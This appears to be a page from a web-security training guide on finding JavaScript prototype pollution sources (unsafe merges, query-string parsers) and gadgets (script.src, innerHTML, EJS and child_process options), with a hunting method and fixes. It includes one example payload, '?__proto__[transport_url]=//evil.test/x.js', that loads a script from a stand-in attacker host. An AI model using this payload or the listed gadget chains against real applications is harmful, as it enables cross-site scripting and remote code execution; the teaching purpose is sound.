Prototype Pollution: The Complete Practical Guide

Finding Prototype Pollution Sources and Gadgets

How to find prototype pollution sources and gadgets: the unsafe merges and parsers that let you write a prototype, and the later reads that turn it into impact.

Published

Exploiting prototype pollution is a pairing problem: you need a source that lets you write a prototype property and a gadget that later reads one into a sink. This page is about finding both. Practice on a free live target.

Sources: where you can write a prototype

A source is any code that takes a key path from input and assigns through it. Common ones:

recursive merge        merge(target, input) that recurses into nested objects (e.g. _.merge)
deep clone             a clone that copies keys by assignment
Object.assign          shallow: re-parents the TARGET if __proto__ is an own key (narrower than PP)
query-string parsers   ?a[b][c]=d expanded into nested objects (qs-style)
JSON body + merge      a parsed JSON body deep-merged into config

The giveaway is nested-key expansion plus assignment. A parser that turns a[b][c] into {a:{b:{c:...}}} and a merge that walks keys together give you a write to any path, including __proto__[x] or constructor[prototype][x].

Gadgets: where a prototype read becomes impact

A gadget is a later read of a property the code does not set as its own, flowing into a sink. The author assumed the property would be missing or a safe default:

client gadgets:
  script.src = cfg.transport_url        inherited URL -> loads attacker script (DOM XSS)
  el.innerHTML = opts.template          inherited markup -> DOM XSS
  config/default lookups                opts.x || fallback where x is inherited
 
server gadgets:
  template compile options              EJS outputFunctionName, Pug/Handlebars internals -> RCE
  child_process options                 inherited shell / execArgv -> RCE; NODE_OPTIONS via env
  auth/flag reads                       if (user.isAdmin) where isAdmin is inherited

Pairing source and gadget

The exploit exists only when the source can set exactly the property the gadget reads:

gadget reads:  script.src = cfg.transport_url
source lets you set:  ?__proto__[transport_url]=//evil.test/x.js
-> pollution lands in the sink -> DOM XSS

Start from whichever end is easier on the target. If you found an obvious merge source, pollute a benign canary and look for anything that changes. If you know the gadget (a documented library gadget), confirm a source can set its property.

Hunting method

1. grep reads into sinks: script.src=, .innerHTML=, render(, child_process, obj.x || , {x = } destructure
2. check each: can x be inherited (not guaranteed own)? -> candidate gadget
3. find a source that sets x on the prototype (merge/clone/parser)
4. client: DOM Invader can automate source+gadget discovery
5. server: match known template/child_process gadgets to the shipped libraries

Edge variants

library gadgets        hitCallback / sequence (PortSwigger research); transport_url (example/lab gadget)
default-merge gadget   a lib that merges user opts over defaults reads inherited props
nested object property s:4:"next" style nesting to deliver a deeper gadget object

Fixing it

  • Remove the source: use safe merge/clone utilities and Object.create(null) maps.
  • Remove the gadget's assumption: read own properties explicitly, give defaults without inheriting.
  • Validate keys so __proto__/constructor/prototype never reach a merge.

Full guidance is in preventing prototype pollution. Next, see the server-side impact in server-side prototype pollution, or hunt gadgets on a free lab.

← Back to Prototype Pollution: The Complete Practical Guide